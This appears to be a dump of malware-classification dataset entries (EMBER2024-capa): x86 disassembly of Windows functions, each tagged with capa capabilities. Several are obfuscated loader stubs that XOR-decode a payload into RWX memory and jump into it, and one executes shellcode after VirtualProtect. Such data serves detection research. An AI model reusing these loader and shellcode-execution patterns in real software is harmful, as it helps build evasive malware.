joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1010b320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1010b32f
pop dword [ebp - 0x28]
mov eax, 0x1010b32f
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x86d1f
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x696422cb
add ecx, 0x969c1e95
mov edi, eax
mov esi, 0x101eb000
add esi, dword [ebp - 0x28]
mov ebx, 0x3b5f175e
xor dword [ebp - 0x14], edi
mov edx, dword [esi]
sub dword [ebp - 4], 0x75f470aa
add edx, ebx
mov dword [edi], edx
xor dword [ebp - 0x20], 0xf0dcc077
add edi, 4
add esi, 4
loop 0x1010b378
add eax, 0x38048df7
sub eax, 0x380395a4
mov ebx, eax
add eax, 5
mov ecx, 0xb244be56
sub ecx, 0xa244be56
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x101116cd
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x10151d44
call fcn.10119a04
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x40], ebx
je 0x101117c5
cmp byte [esi + 0x46], bl
je 0x101117c5
mov eax, dword [esi]
mov edi, 0xffff
push edi
call dword [eax + 0xc]
movzx eax, ax
cmp di, ax
jne 0x10111709
xor al, al
jmp 0x101117c7
push ebx
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call fcn.1010b320
mov dword [ebp - 4], ebx
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov ebx, edi
cmp eax, 0x10
jae 0x10111736
lea ebx, [ebp - 0x28]
mov edi, ebx
mov ecx, dword [esi + 0x40]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, ebx
mov edx, dword [ecx]
push eax
push edi
lea eax, [esi + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x1011175d
dec eax
je 0x10111761
dec eax
dec eax
je 0x101117b3
xor bl, bl
jmp 0x101117b5
mov byte [esi + 0x46], 0
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
mov ecx, edi
cmp eax, 0x10
jae 0x10111771
lea ecx, [ebp - 0x28]
mov ebx, dword [ebp - 0x2c]
sub ebx, ecx
je 0x10111799
cmp eax, 0x10
jae 0x10111780
lea edi, [ebp - 0x28]
push dword [esi + 0x50]
push ebx
push 1
push edi
call fcn.1011d718
add esp, 0x10
cmp ebx, eax
jne 0x10111759
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
cmp byte [esi + 0x46], 0
je 0x101117b3
test ebx, ebx
jne 0x1011172a
push ebx
push 8
lea ecx, [ebp - 0x28]
call fcn.1010b320
jmp 0x10111724
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.1010b320
mov al, bl
jmp 0x101117c7
mov al, 1
call fcn.101199c2
ret
Function at 0x10111be0
Capabilities:
Write file on windows

Disassembly:
push 0x30
mov eax, 0x10151d96
call fcn.10119a04
mov edi, ecx
mov ebx, dword [ebp + 8]
mov esi, 0xffff
cmp si, bx
jne 0x10111c02
xor eax, eax
jmp 0x10111d8a
mov eax, dword [edi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x10111c2e
mov edx, dword [edi + 0x30]
mov eax, dword [edx]
lea eax, [ecx + eax*2]
cmp ecx, eax
jae 0x10111c2e
dec dword [edx]
mov ax, bx
mov edx, dword [edi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x10111d8a
cmp dword [edi + 0x50], 0
je 0x10111d87
mov ecx, edi
call fcn.1011186e
xor ecx, ecx
cmp dword [edi + 0x40], ecx
jne 0x10111c61
push dword [edi + 0x50]
push ebx
call fcn.1010b320
pop ecx
pop ecx
test al, al
je 0x10111d87
movzx esi, bx
jmp 0x10111d87
push ecx
movzx eax, bx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x28], cl
lea ecx, [ebp - 0x28]
push 8
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], 0xf
call fcn.1010b320
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
cmp ecx, 0x10
jae 0x10111c94
lea eax, [ebp - 0x28]
mov dword [ebp - 0x2c], eax
cmp ecx, 0x10
jae 0x10111ca2
lea eax, [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov ecx, dword [edi + 0x40]
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x2c]
mov edx, dword [ecx]
push eax
push dword [ebp - 0x30]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x32]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [edi + 0x48]
push eax
call dword [edx + 0x1c]
mov ebx, dword [ebp + 8]
test eax, eax
js 0x10111d7b
cmp eax, 1
jg 0x10111d5f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp ecx, 0x10
jb 0x10111cef
mov dword [ebp - 0x2c], eax
jmp 0x10111cf5
lea edx, [ebp - 0x28]
mov dword [ebp - 0x2c], edx
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], edx
je 0x10111d27
cmp ecx, 0x10
jae 0x10111d08
lea eax, [ebp - 0x28]
push dword [edi + 0x50]
push edx
push 1
push eax
call fcn.1011d718
mov edx, dword [ebp - 0x2c]
add esp, 0x10
cmp edx, eax
jne 0x10111d57
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
lea ebx, [ebp - 0x34]
mov byte [edi + 0x46], 1
cmp dword [ebp - 0x3c], ebx
mov ebx, dword [ebp + 8]
jne 0x10111d54
test edx, edx
jne 0x10111c8c
cmp dword [ebp - 0x18], 0x20
jae 0x10111d5a
push edx
push 8
lea ecx, [ebp - 0x28]
call fcn.1010b320
jmp 0x10111c83
movzx esi, bx
movzx esi, si
movzx esi, si
jmp 0x10111d78
cmp eax, 3
jne 0x10111d7b
push dword [edi + 0x50]
push dword [ebp - 0x34]
call fcn.1010b320
pop ecx
pop ecx
test al, al
je 0x10111d78
movzx esi, bx
movzx esi, si
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.1010b320
mov ax, si
call fcn.101199c2
ret 4
Function at 0x10008f28
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, ecx
test edx, edx
jne 0x10008f38
push 0xd
pop eax
jmp 0x10008f6e
push ebp
push esi
push edi
xor esi, esi
mov edi, edx
mov ecx, edi
lea ebp, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008f44
sub ecx, ebp
lea eax, [ecx + 1]
add edi, eax
add esi, eax
cmp eax, 1
jne 0x10008f3f
push esi
push edx
push 7
push 0
push dword [esp + 0x24]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebp
pop ebx
ret 8
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10007c2e
pop dword [ebp - 0x14]
mov eax, 0x10007c2e
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xabec2973
sub dword [ebp - 0x24], 0x5d99e428
mov dword [ebp - 0x20], 0x2babacdf
add dword [ebp - 0x20], 0x6879f66
mov dword [ebp - 0x1c], 0x96168bc5
add dword [ebp - 0x1c], 0xb635b869
mov dword [ebp - 0x18], 0xa0e5909d
sub dword [ebp - 0x18], 0xa0e5909d
lea eax, [ebp - 0x24]
push eax
mov eax, 0xb46b3a8a
add eax, 0x5b9545ca
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x73dac9ad
add dword [ebp - 0x24], 0x979fa9
mov dword [ebp - 0x20], 0x3319fb0f
sub dword [ebp - 0x20], 0xf1ad999a
mov dword [ebp - 0x1c], 0xf38c41dd
add dword [ebp - 0x1c], 0x6fe32a8f
mov dword [ebp - 0x18], 0x2152b0da
add dword [ebp - 0x18], 0xdead4f26
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x6ec34503
add eax, 0xa13d3b4d
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3db4e
push 0
call eax
mov ecx, 0x50b84a3b
add ecx, 0xaf4819ed
xor ebx, ebx
add ebx, eax
mov edi, 0xbefa8b12
add edi, 0x51066eee
add edi, dword [ebp - 0x14]
mov edx, 0x1bffedff
sub dword [ebp - 0x10], edi
mov esi, dword [edi]
sub esi, edx
xor dword [ebp - 0xc], 0xa131a615
mov dword [ebx], esi
mov dword [ebp - 0x10], 0xcace0f4b
add ebx, 0x82be5771
sub ebx, 0x82be576d
add edi, 0x95978e51
sub edi, 0x95978e4d
loop 0x10007d47
add eax, 0x18373
xor ebx, ebx
add ebx, eax
add eax, 0xd510297c
sub eax, 0xd5102977
mov ecx, 0x27235aba
add ecx, 0xe8dca546
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x6c881bc0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, dword fs:[0x18]
sub esp, 0x2c
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.kernel32.dll_MultiByteToWideChar
sub esp, 0x18
mov edi, eax
add eax, eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [esi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapAlloc
sub esp, 0xc
test eax, eax
je 0x6c881cb8
mov dword [esp + 0x10], eax
mov ebx, eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], edi
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.kernel32.dll_MultiByteToWideChar
sub esp, 0x18
test byte [0x6c883028], 1
jne 0x6c881ca0
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapFree
mov eax, 0xffffffff
sub esp, 0xc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 8
mov eax, dword [ebp + 0xc]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.6c881b30
sub esp, 8
jmp 0x6c881c68
mov dword [esi + 0x34], 0xe
lea esp, [ebp - 0xc]
mov eax, 0xffffffff
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0xcca058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00cca1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xcca07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xcca06a
add dl, dl
jne 0xcca089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xcca0dc
xor eax, eax
add dl, dl
jne 0xcca096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xcca17d
add dl, dl
jne 0xcca0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcca0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcca0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcca0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xcca0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xcca075
mov eax, 1
add dl, dl
jne 0xcca0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xcca0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xcca0e1
sub eax, ebx
mov ebx, 1
jne 0xcca128
mov ecx, 1
add dl, dl
jne 0xcca10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xcca119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xcca105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xcca075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xcca13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xcca14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xcca136
cmp eax, 0x7d00
jae 0xcca16d
cmp eax, 0x500
jb 0xcca168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xcca075
cmp eax, 0x7f
ja 0xcca170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xcca075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xcca19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xcca075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x401c66
pop dword [ebp - 8]
mov eax, 0x623014da
sub eax, 0x61eff874
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xf6c749de
sub dword [ebp - 0x18], 0xa8750493
mov dword [ebp - 0x14], 0x56430d32
add dword [ebp - 0x14], 0xdbf03f13
mov dword [ebp - 0x10], 0xd1e9e81e
sub dword [ebp - 0x10], 0x859da3f0
mov dword [ebp - 0xc], 0x51ef22f
sub dword [ebp - 0xc], 0x51ef22f
lea eax, [ebp - 0x18]
push eax
mov eax, 0xa0cc5e6d
sub eax, 0xa08c2e19
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x1eb2203b
sub dword [ebp - 0x18], 0xaa3fb6e5
mov dword [ebp - 0x14], 0x423c1bcb
add dword [ebp - 0x14], 0xff3045aa
mov dword [ebp - 0x10], 0x56779c81
add dword [ebp - 0x10], 0xcf7cfeb
mov dword [ebp - 0xc], 0x5c241e8e
sub dword [ebp - 0xc], 0x5c241e8e
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x2fd9a
push 0
call eax
mov ecx, 0x2d7a
mov edi, eax
mov ebx, 0x5c4be2c1
sub ebx, 0x5c0b72c1
add ebx, dword [ebp - 8]
mov esi, 0x994c8245
add dword [ebp - 4], edx
mov edx, dword [ebx]
mov dword [ebp - 4], 0x1bb469fc
xor edx, esi
mov dword [ebp - 4], 0x87960e1
mov dword [edi], edx
mov dword [ebp - 4], 0x24343771
add edi, 4
add ebx, 0x1879cec0
add ebx, 0xe7863144
loop 0x401d77
add eax, 0x86bbe450
add eax, 0x7944c46b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xbbe0f60d
sub ecx, 0xbba0f60d
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x422560
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42258d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42258d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4233c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
xor esi, esi
cmp dword [esp + 0x10], esi
jbe 0x423413
push ebx
mov ebx, dword [esp + 0x14]
and ebx, 1
mov al, byte [esi + ebp]
mov ecx, 0x430260
xor al, 0x73
sub al, 0x58
push ebx
mov byte [esi + ebp], al
call fcn.004024ea
push eax
call fcn.00401dd2
mov al, byte [esi + ebp]
sub al, 0x14
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [esi + ebp], al
inc esi
pop ecx
cmp esi, dword [esp + 0x14]
jb 0x4233d9
pop ebx
pop esi
pop ebp
ret

Function at 0x423416
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42f040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401fdd
push 0xc
call fcn.00406576
pop ecx
test eax, eax
je 0x42344d
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call section..bss
jmp 0x42344f
xor eax, eax
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x474838
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x42339a
lea ecx, [ebp - 0x28]
call fcn.00401d1e
lea ecx, [ebp - 0x28]
call fcn.004040aa
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x474838
add edx, 0x188
mov esi, 0x431038
push esi
call edx
cmp dword [ebp - 0x24], 0
jne 0x4234c4
lea ecx, [ebp - 0x1c]
call fcn.004033ef
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004065b4
leave
ret
call fcn.0040dc7b
int3
Function at 0x100010a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10001240
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x10001164
cmp dword [ebp - 4], 0x50000000
jb 0x100010e1
cmp dword [ebp - 4], 0x80000000
ja 0x100010e1
mov dword [ebp - 4], 0x4fff0000
jmp 0x100010ba
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.100d2920
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10001107
jmp 0x10001164
cmp dword [ebp - 0x14], 0x10000
jne 0x1000114a
cmp dword [ebp - 0x18], 0x10000
jb 0x1000114a
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000113d
mov eax, dword [ebp - 8]
jmp 0x10001166
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000115f
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10001240
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100010ba
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10001170
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10001270
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1000122c
cmp dword [ebp - 4], 0x50000000
jb 0x100011ac
cmp dword [ebp - 4], 0x80000000
ja 0x100011ac
mov dword [ebp - 4], 0x80010000
jmp 0x10001185
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.100d2920
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100011d2
jmp 0x1000122c
cmp dword [ebp - 0x14], 0x10000
jne 0x10001215
cmp dword [ebp - 0x18], 0x10000
jb 0x10001215
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10001208
mov eax, dword [ebp - 8]
jmp 0x1000122e
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10001227
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10001270
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10001185
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10002070
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x10549028], eax
je 0x1000208e
mov eax, 0x10dd
jmp 0x1000216f
mov eax, dword [0x10549038]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000210c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x100020ea
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x100020ea
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.10001710
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.100d1497
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x10002096
mov dword [0x10549038], 0
call fcn.10001a30
mov ecx, dword [0x10549034]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x10002159
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.100d1497
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x10002124
mov dword [0x10549034], 0
mov dword [0x10549028], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10002660
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x1054902c], 0
je 0x10002679
mov eax, dword [0x1054902c]
jmp 0x10002719
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x1000268b
xor eax, eax
jmp 0x10002719
push 8
call fcn.100d076e
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100026e1
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x100026ca
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.100d1497
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x1054902c], eax
mov dword [0x10549030], 0
mov eax, dword [ebp - 8]
jmp 0x10002719
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x100026fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x100026ab
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x10549034]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x10549034], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10004d10
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
xor ecx, ecx
mov dword [ebp - 4], ecx
nop
xor eax, eax
test cl, 1
je 0x10004d2b
bts eax, 7
shr ecx, 1
test cl, 1
je 0x10004d36
bts eax, 6
shr ecx, 1
test cl, 1
je 0x10004d41
bts eax, 5
shr ecx, 1
test cl, 1
je 0x10004d4c
bts eax, 4
shr ecx, 1
test cl, 1
je 0x10004d57
bts eax, 3
shr ecx, 1
test cl, 1
je 0x10004d62
bts eax, 2
shr ecx, 1
test cl, 1
je 0x10004d6d
bts eax, 1
test cl, 2
je 0x10004d76
bts eax, 0
shl eax, 0x18
mov ecx, eax
add eax, eax
sar ecx, 0x1f
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov ebx, ecx
sar ebx, 0x1f
and ebx, 0x4c11db7
lea eax, [ecx + ecx]
xor ebx, eax
mov eax, dword [ebp - 4]
xor edx, edx
lea esi, [edi + eax*4]
lea ecx, [edx + 1]
test bl, 1
je 0x10004e12
mov eax, 0x20
sub eax, ecx
bts edx, eax
inc ecx
shr ebx, 1
cmp ecx, 0x21
jl 0x10004e03
mov ecx, dword [ebp - 4]
inc ecx
mov dword [esi], edx
mov dword [ebp - 4], ecx
cmp ecx, 0xff
jle 0x10004d20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004e40
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push 0x100fd174
push dword [ebp + 8]
mov dword [ebp - 4], ecx
push eax
mov dword [edi], 0xffffffff
mov dword [ebp + 0xc], 0
call fcn.100d4091
add esp, 0xc
test eax, eax
je 0x10004e79
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0x400
call fcn.100d40d8
add esp, 4
mov ebx, eax
mov dword [ebp + 8], ebx
push dword [ebp + 0xc]
test ebx, ebx
jne 0x10004ea5
call fcn.100d42ef
add esp, 4
xor al, al
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
push 0x400
push 1
push ebx
call fcn.100d44f8
add esp, 0x10
test eax, eax
je 0x10004efb
push esi
nop word [eax + eax]
mov esi, ebx
mov ebx, dword [edi]
lea esi, [esi + 1]
movzx ecx, byte [esi - 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
mov ecx, dword [ebp - 4]
xor ebx, dword [ecx + edx*4]
mov dword [edi], ebx
sub eax, 1
jne 0x10004ec2
push dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push 0x400
push 1
push ebx
call fcn.100d44f8
add esp, 0x10
test eax, eax
jne 0x10004ec0
pop esi
push ebx
call fcn.100d4633
push dword [ebp + 0xc]
call fcn.100d42ef
not dword [edi]
add esp, 8
mov al, 1
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc